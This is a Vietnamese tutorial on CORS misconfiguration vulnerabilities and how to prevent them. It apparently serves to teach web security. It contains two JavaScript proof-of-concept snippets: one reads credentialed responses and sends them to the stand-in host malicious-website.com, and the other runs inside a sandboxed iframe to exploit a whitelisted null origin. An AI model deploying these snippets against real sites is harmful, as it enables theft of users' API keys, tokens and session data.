🔏Cross-origin resource sharing (CORS)

What is CORS ?

Cross-origin resource sharing (CORS) là một cơ chế trình duyệt cho phép truy cập tới nhiều tài nguyên khác nhau(như JavaScript, fonts, ...) từ các domain khác với domain của trang đó.

Nó mở rộng và thêm tính linh hoạt cho SOP. Tuy nhiên, nó cũng tiềm ẩn nguy cơ xảy ra các cuộc tấn công giữa các doamin nếu chính sách CORS của trang web được định cấu hình và triển khai yếu. CORS không phải là biện pháp bảo vệ chống lại các cuộc tấn công cross-origin, chẳng hạn như giả mạo yêu cầu trên nhiều trang web (CSRF).

Same-origin policy

Các bạn có thể đọc một bài mình research SOP ở đây

CORS and the Access-Control-Allow-Origin response header

What is the Access-Control-Allow-Origin response header?

Access-Control-Allow-Origin header được bao gồm response từ một website tới một request gốc từ một website khác và xác định nguồn gốc được permit của request. Trình duyệt web so sánh Access-Control-Allow-Origin với request gốc của trang web và cho phép truy cập tới response nếu chúng khớp.

Implementing simple cross-origin resource sharing

Cross-origin resource sharing (CORS) quy định rõ ràng nội dung header giữa các web servers và các trình duyệt mà hạn chế origin cho tài nguyên web request ngồi domain gốc. Đặc tả của CORS xác định rõ một tập hợp các header của giao thức trong đó Access-Control-Allow-Origin là quan trọng nhất. Những cái header này được return bởi một server khi một website requests một cross-doamin resource với một Origin header được thêm vào trình duyệt.

Ví dụ: Giả sử một website với miền gốc: shang.com thực hiện một cross-domain request sau:

GET /data HTTP/1.1
Host: robust-website.com
Origin : https://shang.com

Server ở sha1vu.com trả về response sau:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://shang.com

Khi đó trình duyệt sẽ cho phép code chạy trên shang.com được truy cập tới response bởi vì Origin khớp nhau.

Đặc tả của Access-Control-Allow-Origin cho phép nhiều origin(multiple) hoặc giá trị null hoặc ký tự đại diện * . Tuy nhiên không trình duyệt hỗ trợ multiple origin và có những hạn chế về việc sử dụng ký tự đại diện * .

Handling cross-origin resource requests with credentials

Hành vi mặc định của request cross-origin resource là request được pass mà không xác đinh như cookies và Authorization header. Tuy nhiên cross-domain server có thể cho phép đọc phản hồi khi thông tin xác thực được pass tới nó bởi setting của CORS Access-Control-Allow-Credentials header là true. Bây giờ nếu request của website sử dụng JS để trình bày rằng nó đang gửi cookie ở request:

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

Và response tới request là:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

Sau đó trình duyệt sẽ cho phép request của website đọc response, bởi vì Access-Control-Allow-Credentials response header được set là: true

Relaxation of CORS specifications with wildcards

The header Access-Control-Allow-Origin hỗ trợ ký tự đại diện.

Ví dụ:

Access-Control-Allow-Origin: *

Ghi chú rằng ký tự đại diện có thể không được sử dụng với bất kỳ giá trị nào. Ví dụ header sau đây không hợp lệ:

Access-Control-Allow-Origin: https://*.normal-website.com

Từ góc độ bảo mật, việc sử dụng ký tự đại diện bị hạn chế trong đặc điểm kỹ thuật vì bạn không thể kết hợp ký tự đại diện với cross-origin việc chuyển giao thông tin xác thực (xác thực, cookie hoặc chứng chỉ phía khách hàng). Do đó, cross-domain server response của form:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Không được phép vì điều này sẽ không an toàn, hiển thị bất kỳ nội dung xác thực nào trên trang web mục tiêu cho mọi người.

Với các ràng buộc này, một số máy chủ Web tự động tạo ra các Access-Control-Allow-Origin header dựa trên the client-specified origin. Đây là một cách giải quyết cho các ràng buộc CORS không an toàn.

Pre-flight checks

Pre-flight checks đã được thêm vào đặc tả CORS để bảo vệ tài nguyên kế thừa khỏi các tùy chọn yêu cầu mở rộng được CORS cho phép.

Trong một số trường hợp nhất định, khi yêu cầu từ cross-domain bao gồm phương pháp HTTP hoặc tiêu đề non-standard, cross-origin requests được đi trước bởi một yêu cầu sử dụng OPTIONS method và CORS protocol cần phải kiểm tra method và header nào được cho phép trước khi cho phép cross-origin request. Đây được gọi là Prefligh Check. Server sẽ trả về một danh sách các method được phép ngoài origin đáng tin cậy và kiểm tra trình duyệt để xem liệu method của trang web yêu cầu có được phép không.

Ví dụ: đây là yêu cầu trước chuyến bay đang tìm cách sử dụng phương thức này cùng với tiêu đề yêu cầu tùy chỉnh được gọi làPUT Special-Request-Header:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

Server sẽ trả về response như sau:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Response này set các method được cho phép (PUT, POSTOPTIONS) và các request header được phép (Special-Request-Header). Trong trường hợp cụ thể này, Cross-domain server cũng cho phép gửi thông tin đăng nhập và Access-Control-Max-Age header xác định khung thời gian tối đa để lưu trữ pre-flight response để sử dụng lại. Nếu các request methods và headers được cho phép (như trong ví dụ này) thì trình duyệt sẽ xử lý cross-origin request theo cách thông thường. Pre-flight sẽ thêm một extra HTTP request vào cross-domain request.

Does CORS protect against CSRF?

CORS không cũng cấp bảo vệ khỏi tấn công CSRF, đây là một nhận định sai lầm.

CORS là được kiểm soát nới lỏng SOP, do đó CORS được cấu hình kém/yếu thực sự có thể làm tăng khả năng tấn công CSRF.

Có nhiều cách khác nhau để thực hiện các cuộc tấn công CSRF mà không cần sử dụng CORS, bao gồm các hình thức HTML đơn giản và bao gồm cross-domain resource.

Vulnerabilities arising from CORS configuration issues

Nhiều trang web hiện đại sử dụng CORS để cho phép truy cập từ các domain phụ và các bên thứ ba đáng tin cậy. Việc thực hiện CORS của họ có thể chứa lỗi hoặc chắc chắn đảm bảo rằng mọi thứ hoạt động bình thường và điều này có thể dẫn đến các lỗ hổng có thể khai thác. (Lỗ hổng phát sinh từ các vấn đề cấu hình CORS)\

Server-generated ACAO header from client-specified Origin header

Một số ứng dụng cần cung cấp quyền truy cập vào một số domain khác. Duy trì danh sách các doamin được phép yêu cầu nỗ lực không ngừng và bất kỳ sai sót nào cũng có nguy cơ phá vỡ chức năng. Vì vậy, một số ứng dụng sử dụng con đường dễ dàng để cho phép truy cập hiệu quả từ bất kỳ miền nào khác.

Một cách để thực hiện việc này là đọc Origin header từ các yêu cầu và bao gồm response header cho biết request origin được cho phép.

Ví dụ: hãy xem xét một ứng dụng nhận được request sau:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Sau đó nó respond với:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Các header này cho biết rằng quyền truy cập được cho phép từ domain yêu cầu (malicious-website.com) và các yêu cầu trên nhiều origin có thể bao gồm cookie (Access-Control-Allow-Credentials: true) và do đó sẽ được xử lý trong session.

Bởi vì ứng dụng reflect origin tùy ý trong Access-Control-Allow-Origin header, điều này có nghĩa là hoàn toàn bất kỳ miền nào cũng có thể truy cập tài nguyên từ domain vuln. Nếu response chứa bất kỳ thông tin nhạy cảm nào như API key hoặc token CSRF, bạn có thể truy xuất điều này bằng cách chạy script sau trên trang web của bạn:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};

Errors parsing Origin headers

Một số ứng dụng hỗ trợ quyền truy cập từ nhiều nguồn gốc làm như vậy bằng cách sử dụng danh sách trắng có nguồn gốc được phép. Khi nhận được yêu cầu CORS, nguồn gốc được cung cấp được so sánh với danh sách trắng. Nếu nguồn gốc xuất hiện trên danh sách trắng thì nó được phản ánh trong tiêu đề có nguồn gốc kiểm soát truy cập để truy cập được cấp. Ví dụ: ứng dụng nhận được một yêu cầu bình thường như:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

Ứng dụng kiểm tra Origin dựa trên list of origin được phép của nó và, nếu nó nằm trong danh sách, reflect origin như sau:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Các lỗi thường phát sinh khi triển khai whitelists CORS Orgin. Một số tổ chức quyết định cho phép truy cập từ tất cả các domain phụ của họ (bao gồm cả những subdomain chưa tồn tại trong tương lai). Và một số ứng dụng cho phép truy cập từ nhiều domain của các tổ chức khác bao gồm cả domain phụ của họ. Các quy tắc này thường được triển khai bằng cách khớp các tiền tố hoặc hậu tố URL hoặc sử dụng các biểu thức thông thường. Bất kỳ lỗi nào trong quá trình triển khai đều có thể dẫn đến việc cấp quyền truy cập cho các miền bên ngoài ngoài ý muốn.

Note: Các tổ chức hay các Group tập đoàn thường sẽ dùng một domain chính và từ đó chia ra các subdomain cho các mục đích khác mà họ cho phép các subdomain của ứng dụng đó có thể truy cập tới tài nguyên gốc như là shang.vn thì blog.shang.vn cũng có thể truy cập tài nguyên gốc nhưng nếu hacker.shang.com thì cũng có thể...

Ví dụ: giả sử một ứng dụng cấp truy cập cho toàn bộ domain kết thúc bằng:

normal-website.com

Kẻ tấn công có thể chiếm được truy cập bằng cách đăng ký domain kiểu như này:

hackersnormal-website.com

Ngoài ra nếu ứng dụng cấp truy cập cho toàn bộ domain có bắt đầu bằng:

normal-website.com

Kẻ tấn công có thể chiếm được truy cập bằng cách đăng ký domain kiểu như này:

normal-website.com.evil-user.net

Whitelisted null origin value

Thông số kỹ thuật cho Header Origin trợ giá trị . Các trình duyệt có thể gửi giá trị trong Origin header trong các tình huống bất thường khác nhau: null null

  • Cross-origin redirects.

  • Requests from serialized data.

  • Request using the protocol. file:

  • Sandboxed cross-origin requests.

Một số ứng dụng có thể đưa ra whitelist có orgin để hỗ trợ phát triển địa phương của ứng dụng.

Ví dụ: Giả sử một ứng dụng nhận được yêu cầu có nguồn gốc chéo sau: null

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

Và server respond sẽ như này:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Trong tình huống này, kẻ tấn công có thể sử dụng các thủ thuật khác nhau để tạo yêu cầu có nguồn gốc chéo có chứa giá trị trong tiêu đề gốc. Điều này sẽ đáp ứng danh sách trắng, dẫn đến truy cập tên miền chéo.

Ví dụ: điều này có thể được thực hiện bằng cách sử dụng một sandboxed cross-origin request của form: null iframe

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Exploiting XSS via CORS trust relationships

Ngay cả CORS được định cấu hình "correctly" cũng thiết lập mối quan hệ tin cậy giữa hai nguồn gốc. Nếu một trang web tin tưởng một nguồn gốc dễ bị tấn công bởi tập lệnh chéo trang (XSS), thì kẻ tấn công có thể khai thác XSS để tiêm một số JavaScript sử dụng CORS để truy xuất thông tin nhạy cảm từ trang web tin cậy ứng dụng dễ bị tấn công.

Cho một request như sau:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Nếu server phản hồi như này:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Sau đó kẻ tấn công tìm lỗ hổng XSS để có thể trộm API Key, url nó sẽ như sau:subdomain.vulnerable-website.com

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

Breaking TLS with poorly configured CORS

Giả sử một ứng dụng sử dụng nghiêm ngặt HTTPS cũng danh sách trắng là một tên miền phụ đáng tin cậy đang sử dụng HTTP đơn giản.

Ví dụ: khi ứng dụng nhận được yêu cầu sau:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Ứng dụng respond như này:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Trong tình huống này, một kẻ tấn công có thể chặn lưu lượng truy cập của người dùng nạn nhân có thể khai thác cấu hình CORS để thỏa hiệp sự tương tác của nạn nhân với ứng dụng. Cuộc tấn công này liên quan đến các bước sau:

  • Người dùng sửa dụng bất kỳ HTTP request nào

  • Kẻ tấn công sẽ inject một redirection tới: http://trusted-subdomain.vulnerable-website.com

  • Trình duyệt của nạn nhân sẽ follow chuyển hướng:

  • Kẻ tấn công chặn HTTP request đơn giản và return một response giả mạo chứ một CORS request tới: https://vulnerable-website.com

  • Trình duyệt nạn nhân sẽ tạo CORS request bao gồm origin: http://trusted-subdomain.vulnerable-website.com

  • Ứng dụng cho phép request vì đây là a whitelisted origin. Dữ liệu nhạy cảm được được trả về trong response.

  • Trang giả mạo của kẻ tấn công có thể đọc dữ liệu nhạy cảm và truyền dữ liệu đó đến bất kỳ domain nào dưới sự kiểm soát của kẻ tấn công.

Cuộc tấn công này có hiệu quả ngay cả khi trang web dễ bị tấn công mạnh mẽ trong việc sử dụng HTTPS, không có endpoint HTTP và tất cả các cookie được gắn flag là an toàn.

Intranets and CORS without credentials

Hầu hết tấn công CORS dựa vào sự hiện diện của header response:

Access-Control-Allow-Credentials: true

Nếu không có header đó, trình duyệt của người dùng nạn nhân sẽ từ chối gửi cookie của họ, có nghĩa là kẻ tấn công sẽ chỉ có quyền truy cập vào nội dung không xác thực mà họ có thể dễ dàng truy cập bằng cách duyệt trực tiếp vào trang web đích.

Tuy nhiên, có một tình huống phổ biến trong đó kẻ tấn công không thể truy cập trực tiếp vào một trang web: khi đó là một phần của mạng nội bộ của tổ chức và nằm trong không gian địa chỉ IP riêng tư. Các trang web nội bộ thường được giữ ở một tiêu chuẩn bảo mật thấp hơn so với các trang web bên ngoài, cho phép kẻ tấn công tìm thấy các lỗ hổng và truy cập thêm.

Ví dụ: Cross-origin request trong mạng private có thể như sau:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

Server tra về:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

Máy chủ ứng dụng đang trust các yêu cầu tài nguyên từ bất kỳ origin nào mà không cần thông tin đăng nhập. Nếu người dùng trong không gian địa chỉ IP riêng tư truy cập Internet công khai thì có thể thực hiện cuộc tấn công dựa trên CORS từ trang web bên ngoài sử dụng trình duyệt của nạn nhân làm proxy để truy cập tài nguyên mạng nội bộ.

How to prevent CORS-based attacks

Các lỗ hổng CORS phát sinh chủ yếu dưới dạng cấu hình sai. Do đó, phòng ngừa là một vấn đề cấu hình. Các phần sau đây mô tả một số biện pháp phòng thủ hiệu quả chống lại các cuộc tấn công CORS.

Proper configuration of cross-origin requests

Nếu một tài nguyên web chứa thông tin nhạy cảm, nguồn gốc phải được chỉ định đúng trong header: Access-Control-Allow-Origin

Only allow trusted sites

Nó có vẻ hiển nhiên nhưng Origin được chỉ định trong header chỉ nên là các trang web đáng tin cậy. Đặc biệt, việc reflect orgin từ các cross-origin requests mà không cần xác thực có thể dễ dàng khai thác và nên tránh. Access-Control-Allow-Origin

Avoid whitelisting null

Tránh sử dụng header . Cross-origin resource gọi từ các tài liệu nội bộ và sandboxed requests có thể chỉ định Origin. CORS header nên được xác định đúng đối với Origin đáng tin cậy cho các máy chủ riêng và công cộng. Access-Control-Allow-Origin: null null

Avoid wildcards in internal networks

Tránh sử dụng ký tự đại diện trong mạng nội bộ. Chỉ tin tưởng cấu hình mạng để bảo vệ tài nguyên nội bộ là không đủ khi các trình duyệt nội bộ có thể truy cập các domain bên ngoài không đáng tin cậy.

CORS is not a substitute for server-side security policies

CORS xác định các hành vi của trình duyệt và không bao giờ thay thế cho việc bảo vệ dữ liệu nhạy cảm phía máy chủ - kẻ tấn công có thể trực tiếp giả mạo yêu cầu từ bất kỳ nguồn đáng tin cậy nào. Do đó, máy chủ web nên tiếp tục áp dụng các biện pháp bảo vệ đối với dữ liệu nhạy cảm, chẳng hạn như authentication và session management, ngoài CORS được định cấu hình đúng.

______________________________________________Hết___________________________________________________

Last updated